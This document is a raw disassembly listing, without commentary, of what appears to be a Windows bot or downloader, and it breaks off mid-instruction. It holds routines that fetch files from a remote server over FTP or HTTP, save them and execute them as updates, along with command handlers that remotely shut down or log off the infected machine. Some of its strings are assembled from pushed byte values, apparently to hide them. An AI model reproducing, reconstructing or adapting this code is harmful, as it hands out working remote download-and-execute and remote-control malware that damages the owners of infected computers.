mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CE9B: ; CODE XREF: sub_41C710+5FCj lea ecx, [ebp+118h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D040 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CFB3 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CFB5 ; --------------------------------------------------------------------------- loc_41CFB3: ; CODE XREF: sub_41C710+896j xor edi, edi loc_41CFB5: ; CODE XREF: sub_41C710+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41D040: ; CODE XREF: sub_41C710+7A1j lea ecx, [ebp+0EAh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D2A1 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016B8 push offset word_44955A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D1EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41D1EC: ; CODE XREF: sub_41C710+A64j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D214 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41D216 ; --------------------------------------------------------------------------- loc_41D214: ; CODE XREF: sub_41C710+AF7j xor edi, edi loc_41D216: ; CODE XREF: sub_41C710+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FDC lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FDC lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013DE loc_41D2A1: ; CODE XREF: sub_41C710+116j ; sub_41C710+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D312: ; CODE XREF: sub_41C710+549j ; sub_41C710+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C710 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_401B4Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D640 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D6D0 proc near ; CODE XREF: sub_4014BAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D6D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D6D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D770 proc near ; CODE XREF: sub_4021E9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D830: ; CODE XREF: ___:00401168j ; ___:loc_4019F6j push esi mov esi, ecx call sub_4015CD test byte ptr [esp+8], 1 jz short loc_41D848 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D848: ; CODE XREF: ___:0041D83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D860 proc near ; CODE XREF: sub_4015CDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D860 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D930 proc near ; CODE XREF: sub_401C94j var_48 = dword ptr -48h var_40 = byte ptr -40h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_10C = byte ptr 110h arg_11C = byte ptr 120h arg_12C = byte ptr 130h arg_110C = dword ptr 1110h arg_1110 = byte ptr 1114h arg_112C = dword ptr 1130h arg_1134 = dword ptr 1138h arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43C3F2 push eax mov eax, 1158h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi push offset byte_448F30 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41E035 lea ebx, [esi+65h] push offset byte_448F30 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41E035 lea ecx, [esi+26h] push offset byte_448F30 call sub_4012EE test eax, eax jz loc_41E035 mov al, [esi+91h] test al, al jz short loc_41D9D1 push offset byte_448F30 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D9C4 push offset byte_448F30 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D9D1 loc_41D9C4: ; CODE XREF: sub_41D930+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41E03D ; --------------------------------------------------------------------------- loc_41D9D1: ; CODE XREF: sub_41D930+70j ; sub_41D930+92j push offset asc_444C64 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41DA5E push offset asc_444C64 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016B8 mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41DA6F loc_41DA5E: ; CODE XREF: sub_41D930+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41DA6F: ; CODE XREF: sub_41D930+12Cj push offset asc_444C64 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016B8 lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FDC lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017EE push eax nop call near ptr 2800000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015E1 mov al, [esi+91h] test al, al jz loc_41DC04 call sub_401E1F ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017EE push eax call sub_401A7D ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DB1C lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41E014 ; --------------------------------------------------------------------------- loc_41DB1C: ; CODE XREF: sub_41D930+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017EE push eax lea ecx, [esi+3Bh] call sub_4017EE push eax call sub_402266 add esp, 0Ch test eax, eax jnz short loc_41DB73 lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DB73: ; CODE XREF: sub_41D930+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_4016B3 add esp, 10h test eax, eax jnz short loc_41DBF2 mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DBF2: ; CODE XREF: sub_41D930+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D66 add esp, 4 jmp loc_41DE7B ; --------------------------------------------------------------------------- loc_41DC04: ; CODE XREF: sub_41D930+195j lea ecx, [esp+28h+arg_20] call sub_40142E lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_40142E push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017EE push eax call sub_401AA0 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DC87 lea ecx, [esi+7Ah] call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- db 53h db 90h db 0E8h, 0B7h, 0B9h ; --------------------------------------------------------------------------- imul esi, [ecx-17h], 0BEh loc_41DC87: ; CODE XREF: sub_41D930+310j push ebp mov ecx, edi call sub_4017EE push eax lea ecx, [esi+26h] call sub_4017EE push eax lea edx, [esp+34h+arg_20] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+28h+arg_20] push 0 call sub_4013E3 push eax lea ecx, [esp+30h+arg_20] call sub_4017EE push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017EE push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DD80 mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+38h+var_28] mov [esp+38h+var_28], esi push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+38h+var_1C] mov byte ptr [esp+38h+arg_1134], 3 call sub_401226 lea ecx, [esp+38h+arg_10] mov byte ptr [esp+38h+arg_1134], 2 call sub_401226 lea ecx, [esp+38h+var_4] mov [esp+38h+arg_1134], 0FFFFFFFFh call sub_401226 jmp loc_41E048 ; --------------------------------------------------------------------------- loc_41DD80: ; CODE XREF: sub_41D930+3DBj ; sub_41D930+484j ... mov eax, [esp+38h+var_24] push 0 lea edx, [esp+3Ch+arg_12C] push 1000h push edx push eax call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DDF8 cmp ebp, 1000h jge short loc_41DDB0 mov [esp+ebp+48h+arg_11C], 0 loc_41DDB0: ; CODE XREF: sub_41D930+476j xor edi, edi test ebp, ebp jle short loc_41DD80 loc_41DDB6: ; CODE XREF: sub_41D930+4A5j push 4 lea ecx, [esp+edi+4Ch+arg_11C] push offset asc_444EC8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DDD9 inc edi cmp edi, ebp jl short loc_41DDB6 jmp short loc_41DD80 ; --------------------------------------------------------------------------- loc_41DDD9: ; CODE XREF: sub_41D930+4A0j add edi, 4 cmp edi, ebp jge short loc_41DDF8 loc_41DDE0: ; CODE XREF: sub_41D930+4C6j movsx edx, [esp+edi+48h+arg_11C] push ebx push edx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DDE0 loc_41DDF8: ; CODE XREF: sub_41D930+46Ej ; sub_41D930+4AEj ... mov edi, [esp+48h+var_34] push 0 lea eax, [esp+4Ch+arg_11C] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DE48 cmp ebp, 1000h jge short loc_41DE28 mov [esp+ebp+58h+arg_10C], 0 loc_41DE28: ; CODE XREF: sub_41D930+4EEj xor edi, edi test ebp, ebp jle short loc_41DDF8 loc_41DE2E: ; CODE XREF: sub_41D930+514j movsx ecx, [esp+edi+58h+arg_10C] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DE2E jmp short loc_41DDF8 ; --------------------------------------------------------------------------- loc_41DE48: ; CODE XREF: sub_41D930+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi call near ptr 71AB9639h nop lea ecx, [esp+5Ch+var_40] mov [esp+5Ch+arg_1110], 3 call sub_401226 lea ecx, [esp+5Ch+var_10] mov [esp+5Ch+arg_1110], 2 call sub_401226 loc_41DE7B: ; CODE XREF: sub_41D930+2CFj mov al, [esi+90h] test al, al jnz loc_41DF17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D8075 call sub_401857 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41E00C push offset byte_448F30 mov ecx, ebp call sub_4017EE push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017EE push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h jmp loc_41E00C ; --------------------------------------------------------------------------- loc_41DF17: ; CODE XREF: sub_41D930+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D8075 call sub_401857 push 0 push 5 push 14h push 1 push 4 push 10h push 15h lea edx, [esp+90h+var_40] push 51h push edx call sub_4019C4 add esp, 3Ch mov ecx, eax mov [esp+5Ch+arg_1110], 5 call sub_4014DD push eax mov ecx, ebx call sub_4014DD push eax call sub_402167 add esp, 8 lea ecx, [esp+5Ch+var_40] mov bl, al mov [esp+5Ch+arg_1110], 2 call sub_401226 test bl, bl jz short loc_41DFE7 mov al, byte_449896 test al, al jz short loc_41DFB6 push offset dword_449834 mov ecx, offset dword_44AD70 call sub_401451 loc_41DFB6: ; CODE XREF: sub_41D930+675j mov al, byte_4498DF test al, al jz short loc_41DFCE push offset byte_44990F mov ecx, offset dword_44AD70 call sub_401951 loc_41DFCE: ; CODE XREF: sub_41D930+68Dj mov ecx, offset dword_44AD70 call sub_401E79 push 1 mov byte_4E8E44, 0 call near ptr 77C39E7Eh nop loc_41DFE7: ; CODE XREF: sub_41D930+66Cj mov ecx, edi call sub_4014DD mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 loc_41E00C: ; CODE XREF: sub_41D930+597j ; sub_41D930+5E2j mov [esp+60h+var_48], esi lea edx, [esp+60h+var_48] loc_41E014: ; CODE XREF: sub_41D930+1E7j push edx loc_41E015: ; CODE XREF: sub_41D930+23Ej ; sub_41D930+2BDj mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_2C] mov [esp+60h+arg_110C], 0FFFFFFFFh call sub_401226 jmp short loc_41E048 ; --------------------------------------------------------------------------- loc_41E035: ; CODE XREF: sub_41D930+36j ; sub_41D930+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41E03D: ; CODE XREF: sub_41D930+9Cj push eax mov ecx, offset byte_4E8E9B call sub_40120D sub_41D930 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D930 loc_41E048: ; CODE XREF: sub_41D930+44Bj ; sub_41D930+703j mov ecx, [esp+38h+arg_112C] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D930 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E240 proc near ; CODE XREF: sub_401BA4j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E240 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41E240 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E3C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E41B push offset dword_444FCC lea ecx, [edi+69h] call sub_40168B mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 6 call near ptr 2890B15h nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E41B: ; CODE XREF: ___:0041E3DEj lea ecx, [esi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E46A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_40168B mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 5 nop call near ptr 2890B15h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E46A: ; CODE XREF: ___:0041E42Dj lea ecx, [esi+60h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E4B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_40168B mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 4 nop call near ptr 2890B15h loc_41E4B1: ; CODE XREF: ___:0041E47Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E500 proc near ; CODE XREF: sub_401F7Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E500 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41E500 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add 